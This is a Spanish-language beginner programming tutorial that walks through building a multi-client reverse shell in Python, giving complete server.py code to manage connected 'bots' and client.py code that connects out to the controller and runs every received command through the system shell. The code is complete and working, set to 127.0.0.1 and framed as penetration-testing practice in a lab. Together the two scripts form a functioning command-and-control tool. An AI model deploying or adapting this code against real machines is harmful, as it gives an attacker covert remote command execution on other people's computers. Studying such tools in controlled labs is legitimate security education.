Shell Inversa para Controlar Múltiples Objetivos

PythonBeginner
Practicar Ahora

Introducción

En este proyecto, aprenderás a crear una shell inversa utilizando Python, lo que te permitirá controlar múltiples máquinas comprometidas, también conocidas como "bots". A diferencia de las shells tradicionales, una shell inversa inicia una conexión desde el bot hacia el controlador, permitiendo la gestión de hosts remotos incluso si están detrás de firewalls o NAT. Este método es ampliamente utilizado en prácticas de ciberseguridad para pruebas de penetración y para gestionar entornos controlados de manera segura.

Antes de profundizar en la implementación, es importante comprender los conceptos fundamentales detrás de nuestra aplicación de shell inversa, incluyendo la arquitectura cliente-servidor (C/S) y el Protocolo de Control de Transmisión (TCP).

La arquitectura C/S involucra a un cliente que solicita servicios y un servidor que los proporciona. En nuestro caso, los bots actúan como clientes que inician conexiones hacia nuestro servidor, permitiéndonos ejecutar comandos en ellos de forma remota.

Utilizaremos TCP para una comunicación fiable y orientada a la conexión entre el servidor y los clientes. TCP garantiza que los datos se entreguen con precisión y en orden, lo cual es esencial para ejecutar comandos y recibir respuestas sin errores.

👀 Vista Previa

Ejecución de comandos en shell inversa

🎯 Tareas

En este proyecto, aprenderás:

  • Cómo comprender la arquitectura cliente-servidor (C/S) y el Protocolo de Control de Transmisión (TCP) como base de las comunicaciones de red.
  • Cómo configurar un servidor que escuche conexiones entrantes de múltiples clientes (bots).
  • Cómo crear scripts de cliente que se conecten al servidor y ejecuten los comandos recibidos.
  • Cómo implementar la funcionalidad de ejecución de comandos y recuperación de resultados en el servidor para interactuar con los clientes conectados.
  • Cómo gestionar múltiples conexiones de clientes simultáneamente y alternar entre ellos para enviar comandos.

🏆 Logros

Al finalizar este proyecto, serás capaz de:

  • Demostrar el dominio de los conceptos básicos del modelo cliente-servidor y TCP para una comunicación de red fiable.
  • Implementar un servidor de shell inversa multicliente en Python.
  • Crear scripts de cliente que puedan conectarse a un servidor remoto y ejecutar comandos enviados desde el servidor.
  • Manejar múltiples conexiones y gestionar la comunicación con varios clientes en un entorno controlado.
  • Aplicar experiencia práctica en programación de redes y comprender sus aplicaciones en ciberseguridad y gestión remota de sistemas.

Inicializar la Clase Server

En el archivo llamado server.py, comienza con la estructura básica de la clase Server.

import socket
import threading

class Server:
    def __init__(self, host='0.0.0.0', port=7676):
        self.host = host
        self.port = port
        self.clients = []
        self.current_client = None
        self.exit_flag = False
        self.lock = threading.Lock()

La clase Server está diseñada para crear un servidor capaz de manejar múltiples conexiones de clientes, comúnmente denominados "bots" en el contexto de una aplicación de shell inversa. Desglosemos los componentes y funcionalidades definidos en el método de inicialización (__init__):

  1. Sentencias de Importación:
    • import socket: Importa el módulo integrado socket de Python, que proporciona las funcionalidades necesarias para las comunicaciones de red. Los sockets son los puntos finales de un canal de comunicación bidireccional y se utilizan para conectar y comunicarse con los clientes.
    • import threading: Importa el módulo threading, permitiendo la creación de múltiples hilos dentro de un proceso. Esto es esencial para manejar múltiples conexiones de clientes simultáneamente sin bloquear el flujo de ejecución principal del servidor.
  2. Definición de la Clase:
    • class Server:: Esta línea define la clase Server, que encapsula las funcionalidades requeridas para las operaciones del lado del servidor de una shell inversa.
  3. Método de Inicialización (__init__):
    • def __init__(self, host='0.0.0.0', port=7676):: Este método inicializa una nueva instancia de la clase Server. Tiene dos parámetros con valores por defecto:
      • host='0.0.0.0': La dirección de host predeterminada '0.0.0.0' se utiliza para especificar que el servidor debe escuchar en todas las interfaces de red. Esto hace que el servidor sea accesible desde cualquier dirección IP que tenga la máquina.
      • port=7676: Este es el número de puerto predeterminado en el que el servidor escuchará las conexiones entrantes. Los números de puerto se utilizan para diferenciar entre los distintos servicios que se ejecutan en la misma máquina. La elección del puerto 7676 es arbitraria y puede cambiarse según las preferencias o requisitos del usuario.
  4. Variables de Instancia:
    • self.host: Almacena la dirección del host donde el servidor escuchará las conexiones entrantes.
    • self.port: Almacena el número de puerto en el que el servidor escuchará.
    • self.clients = []: Inicializa una lista vacía para realizar un seguimiento de los clientes conectados. Cada cliente conectado se añadirá a esta lista, permitiendo al servidor gestionar y comunicarse con múltiples clientes.
    • self.current_client = None: Esta variable se utiliza para rastrear el cliente seleccionado actualmente (si lo hay) para enviar comandos o recibir datos.
    • self.exit_flag = False: Esta bandera se utiliza para controlar el bucle principal del servidor. Establecer esta bandera en True indicará al servidor que se apague de forma controlada.
    • self.lock = threading.Lock(): Crea un objeto de bloqueo de hilos, que es una primitiva de sincronización. Los bloqueos se utilizan para garantizar que solo un hilo pueda acceder o modificar recursos compartidos a la vez, evitando condiciones de carrera y asegurando la integridad de los datos.
✨ Revisar Solución y Practicar

Iniciar el Servidor TCP

Implementa el método run para iniciar el servidor y escuchar conexiones.

## continue in server.py
    def run(self):
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket:
            server_socket.bind((self.host, self.port))
            server_socket.listen(10)
            print(f"Server listening on port {self.port}...")

            connection_thread = threading.Thread(target=self.wait_for_connections, args=(server_socket,))
            connection_thread.start()

            while not self.exit_flag:
                if self.clients:
                    self.select_client()
                    self.handle_client()

El método run es la parte de la clase Server que arranca el servidor TCP y comienza a escuchar las conexiones entrantes de los clientes (o "bots"). Aquí tienes un desglose de lo que sucede en este método:

  1. Creación de un Socket:
    • with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket:: Esta línea crea un nuevo socket utilizando la sentencia with, lo que garantiza que el socket se cierre automáticamente cuando ya no sea necesario. El argumento socket.AF_INET especifica que el socket usará direccionamiento IPv4, y socket.SOCK_STREAM indica que es un socket TCP, que proporciona una comunicación fiable y orientada a la conexión.
  2. Vinculación del Socket (Binding):
    • server_socket.bind((self.host, self.port)): El método bind asocia el socket con una interfaz de red y un número de puerto específicos. En este caso, vincula el socket a los atributos host y port de la instancia Server, preparándolo para escuchar conexiones entrantes en esa dirección y puerto.
  3. Escucha de Conexiones:
    • server_socket.listen(10): Esta línea le indica al socket que comience a escuchar conexiones entrantes. El argumento 10 especifica el número máximo de conexiones en cola (el backlog) antes de que el servidor comience a rechazar nuevas conexiones. Esto no limita el número total de conexiones simultáneas, sino cuántas pueden estar esperando ser aceptadas.
  4. Mensaje de Inicio del Servidor:
    • print(f"Server listening on port {self.port}..."): Imprime un mensaje en la consola indicando que el servidor está en funcionamiento y escuchando conexiones en el puerto especificado.
  5. Manejo de Conexiones Entrantes:
    • connection_thread = threading.Thread(target=self.wait_for_connections, args=(server_socket,)): Esta línea inicializa un nuevo objeto Thread, estableciendo su objetivo en el método self.wait_for_connections con el server_socket como argumento. Este método está diseñado para aceptar continuamente conexiones entrantes en un bucle y añadirlas a la lista self.clients.
    • connection_thread.start(): Inicia el hilo, invocando el método self.wait_for_connections en un hilo de ejecución separado. Esto permite que el servidor continúe ejecutando el resto del método run sin bloquearse mientras espera nuevas conexiones.
  6. Bucle Principal del Servidor:
    • while not self.exit_flag:: Este bucle continúa ejecutándose mientras self.exit_flag sea False. Dentro de este bucle, el servidor puede realizar tareas como gestionar clientes conectados o manejar comandos del servidor.
    • if self.clients:: Comprueba si hay clientes conectados en la lista self.clients.
      • self.select_client(): Un método que permite al operador del servidor seleccionar uno de los clientes conectados para interactuar. Esto podría implicar enviar comandos al cliente o recibir datos.
      • self.handle_client(): Otro método que probablemente maneja la interacción con el cliente seleccionado. Esto implicaría leer comandos del operador del servidor, enviarlos al cliente y mostrar la respuesta del mismo.

Esta estructura configura el servidor para escuchar y gestionar múltiples conexiones de clientes de manera no bloqueante, utilizando hilos para manejar la aceptación de conexiones y la gestión de clientes de forma concurrente.

✨ Revisar Solución y Practicar

Aceptar Conexiones Entrantes

Añade el método wait_for_connections para gestionar las conexiones entrantes de los clientes en un hilo separado.

## continue in server.py
    def wait_for_connections(self, server_socket):
        while not self.exit_flag:
            client_socket, client_address = server_socket.accept()
            print(f"New connection from {client_address[0]}")
            with self.lock:
                self.clients.append((client_socket, client_address))

El método wait_for_connections está diseñado para escuchar y aceptar continuamente conexiones entrantes de clientes en el servidor. Este método está pensado para ejecutarse en un hilo separado, permitiendo que el servidor realice otras tareas (como interactuar con clientes ya conectados) sin ser bloqueado por la llamada accept, que espera una nueva conexión. Aquí tienes un desglose detallado:

  1. Bucle de Escucha Continua:
    • while not self.exit_flag:: Este bucle se mantiene en ejecución mientras self.exit_flag sea False. El propósito de esta bandera es proporcionar una forma controlada de detener el servidor, incluyendo este bucle de escucha. Cuando self.exit_flag se establece en True, el bucle terminará, deteniendo efectivamente la aceptación de nuevas conexiones.
  2. Aceptación de Conexiones:
    • client_socket, client_address = server_socket.accept(): El método accept espera una conexión entrante. Cuando un cliente se conecta, devuelve un nuevo objeto de socket (client_socket) que representa la conexión, y una tupla (client_address) que contiene la dirección IP y el número de puerto del cliente. Esta línea bloquea la ejecución del hilo hasta que se recibe una nueva conexión.
  3. Notificación de Conexión:
    • print(f"New connection from {client_address[0]}"): Una vez que se acepta una nueva conexión, se imprime un mensaje en la consola indicando la dirección IP del cliente recién conectado. Esto es útil para fines de registro y monitoreo.
  4. Gestión de Clientes Segura para Hilos (Thread-Safe):
    • with self.lock:: Utiliza un bloqueo de hilos (self.lock), que se adquiere al principio del bloque y se libera automáticamente al final. El propósito del bloqueo es garantizar el acceso seguro a los recursos compartidos, en este caso, la lista self.clients. Esto es crucial en un entorno multihilo para evitar la corrupción de datos y asegurar la consistencia.
    • self.clients.append((client_socket, client_address)): Dentro del bloque protegido, el método añade el socket y la dirección del nuevo cliente como una tupla a la lista self.clients. Esta lista rastrea todos los clientes conectados, permitiendo al servidor interactuar con ellos individualmente más tarde.

Este método garantiza que el servidor pueda manejar conexiones entrantes de forma concurrente con otras tareas, gestionando de forma segura una lista de clientes conectados para su posterior interacción. El uso de hilos y bloqueos es esencial para mantener el rendimiento y la integridad de los datos en un entorno concurrente.

✨ Revisar Solución y Practicar

Implementar Funciones de Interacción con el Cliente

Implementa funciones para seleccionar e interactuar con los clientes conectados.

## continue in server.py
    def select_client(self):
        print("Available clients:")
        for index, (_, addr) in enumerate(self.clients):
            print(f"[{index}]-> {addr[0]}")

        index = int(input("Select a client by index: "))
        self.current_client = self.clients[index]

    def handle_client(self):
        client_socket, client_address = self.current_client
        while True:
            command = input(f"{client_address[0]}:~## ")
            if command == '!ch':
                break
            if command == '!q':
                self.exit_flag = True
                print("Exiting server...")
                break

            client_socket.send(command.encode('utf-8'))
            response = client_socket.recv(1024)
            print(response.decode('utf-8'))

Las funciones select_client y handle_client son componentes críticos para interactuar con los clientes conectados en un entorno de servidor de shell inversa. Así es como funciona cada función:

Función select_client

Esta función se encarga de listar todos los clientes conectados actualmente y permitir que el operador del servidor seleccione uno para interactuar:

  • print("Available clients:"): Muestra un mensaje indicando que a continuación aparecerá la lista de clientes disponibles.
  • for index, (_, addr) in enumerate(self.clients):: Itera a través de la lista self.clients, que contiene tuplas de sockets y direcciones de clientes. El _ es un marcador de posición para el socket del cliente, que no se necesita en este contexto, y addr es la dirección del cliente. La función enumerate añade un índice a cada elemento.
  • print(f"[{index}]-> {addr[0]}"): Para cada cliente, imprime un índice y la dirección IP del cliente. Esto facilita al operador ver cuántos y qué clientes están conectados.
  • index = int(input("Select a client by index: ")): Solicita al operador del servidor que introduzca el índice del cliente con el que desea interactuar. Esta entrada se convierte en un entero y se almacena en index.
  • self.current_client = self.clients[index]: Establece self.current_client a la tupla del cliente (socket y dirección) correspondiente al índice elegido. Este cliente será el objetivo de los comandos posteriores.

Función handle_client

Esta función facilita el envío de comandos y la recepción de respuestas del cliente seleccionado:

  • client_socket, client_address = self.current_client: Desempaqueta la tupla self.current_client en client_socket y client_address.
  • while True:: Entra en un bucle infinito, permitiendo al operador del servidor enviar comandos continuamente al cliente hasta que se introduzca un comando especial.
  • command = input(f"{client_address[0]}:~## "): Solicita al operador del servidor que introduzca un comando. El prompt incluye la dirección IP del cliente actual para mayor claridad.
  • if command == '!ch':: Comprueba si se ha introducido el comando especial !ch, que es una señal para cambiar el cliente actual. Si es así, sale del bucle para permitir que el operador seleccione un nuevo cliente.
  • if command == '!q':: Comprueba si se ha introducido el comando para salir del servidor (!q). Si es así, establece self.exit_flag en True para terminar el bucle del servidor y sale del bucle de manejo del cliente.
  • client_socket.send(command.encode('utf-8')): Envía el comando introducido al cliente. El comando se codifica en bytes utilizando la codificación UTF-8, ya que la comunicación de red requiere que los datos estén en formato de bytes.
  • response = client_socket.recv(1024): Espera y recibe la respuesta del cliente. La llamada recv(1024) especifica que se leerán hasta 1024 bytes. Para respuestas más grandes, esto podría necesitar ser ajustado o manejado en un bucle.
  • print(response.decode('utf-8')): Decodifica la respuesta de bytes recibida usando UTF-8 y la imprime. Esto muestra al operador del servidor el resultado del comando ejecutado en la máquina del cliente.

Estas funciones permiten colectivamente al operador del servidor gestionar múltiples clientes conectados, emitir comandos a clientes seleccionados y ver sus respuestas, capacidades fundamentales para un servidor de shell inversa.

✨ Revisar Solución y Practicar

Ejecutar el Servidor

Añade el punto de entrada para instanciar y ejecutar el servidor.

## continue in server.py
if __name__ == "__main__":
    server = Server()
    server.run()

Esta parte del script inicia el servidor cuando se ejecuta el archivo, permitiéndole aceptar y gestionar conexiones de los clientes.

✨ Revisar Solución y Practicar

Crear el Cliente

A continuación, vamos a crear el lado del cliente (bot). El cliente se conectará al servidor y ejecutará los comandos recibidos.

En el archivo client.py, añade el siguiente contenido:

import socket
import subprocess
import sys
import time

def connect_to_server(host, port):
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
        sock.connect((host, port))
        while True:
            command = sock.recv(1024).decode('utf-8')
            result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            output = result.stdout.decode(sys.getfilesystemencoding())
            sock.send(output.encode('utf-8'))
            time.sleep(1)

if __name__ == "__main__":
    HOST, PORT = "127.0.0.1", 7676
    connect_to_server(HOST, PORT)

El script client.py describe cómo un cliente (o "bot") se conecta al servidor y maneja los comandos entrantes. Aquí tienes una explicación paso a paso:

  • def connect_to_server(host, port):: Define una función que toma un host y un número de puerto para conectarse al servidor.
  • with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:: Crea un objeto de socket utilizando direccionamiento IPv4 (AF_INET) y TCP (SOCK_STREAM), asegurando que se cierre automáticamente después de salir del bloque with.
  • sock.connect((host, port)): Inicia una conexión con el servidor en el host y puerto especificados.
  • while True:: Entra en un bucle infinito para escuchar continuamente los comandos del servidor.
  • command = sock.recv(1024).decode('utf-8'): Espera a recibir un comando del servidor, leyendo hasta 1024 bytes. Los bytes recibidos se decodifican luego usando UTF-8 para convertirlos de nuevo en una cadena de texto.
  • result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE): Ejecuta el comando recibido utilizando la shell del sistema. stdout=subprocess.PIPE y stderr=subprocess.PIPE capturan la salida estándar y el error estándar del comando, respectivamente.
  • output = result.stdout.decode(sys.getfilesystemencoding()): Decodifica la salida de la ejecución del comando de bytes a una cadena de texto utilizando la codificación del sistema de archivos, lo que garantiza que los caracteres específicos del sistema se interpreten correctamente.
  • sock.send(output.encode('utf-8')): Envía el resultado de la ejecución del comando de vuelta al servidor, codificándolo en UTF-8 para convertir la cadena de nuevo en bytes adecuados para la transmisión por red.
  • time.sleep(1): Pausa la ejecución durante 1 segundo antes de escuchar el siguiente comando. Esto se utiliza típicamente para evitar que el cliente sature la red o el servidor con peticiones rápidas y continuas.

Este script de cliente transforma efectivamente la máquina en la que se ejecuta en un "bot" que se conecta a un servidor especificado, espera comandos, los ejecuta y devuelve los resultados. Esta configuración es típica en entornos controlados de práctica de ciberseguridad, como laboratorios de pruebas de penetración, donde los investigadores simulan ataques y defensas para comprender mejor y mejorar las medidas de seguridad.

✨ Revisar Solución y Practicar

Probar la Configuración

Finalmente, probemos nuestra configuración de shell inversa para asegurarnos de que funciona como se espera.

Ejecutar el Servidor

Primero, ejecuta el script server.py en una ventana de terminal:

python server.py
Ejecutar el Cliente

Abre una ventana de terminal separada:

Abriendo nueva ventana de terminal

Ejecuta el script client.py:

python client.py
Ejecutar Comandos

Vuelve a la terminal del servidor:

Terminal del servidor con selección de cliente

Deberías poder seleccionar el cliente conectado y ejecutar comandos. Por ejemplo, intenta listar el contenido del directorio:

ls /

Deberías ver la salida del comando ls / ejecutado en la máquina del cliente mostrada en la terminal del servidor.

Salida de ls en la terminal del servidor
✨ Revisar Solución y Practicar

Resumen

En este proyecto, has aprendido a implementar una shell inversa básica utilizando Python, aprovechando la arquitectura cliente-servidor y TCP para la comunicación. Has configurado un servidor que escucha conexiones de clientes (bots) y les envía comandos. Esta técnica es una habilidad fundamental en la programación de redes y la ciberseguridad, demostrando el poder y la flexibilidad de Python en la gestión de sistemas remotos.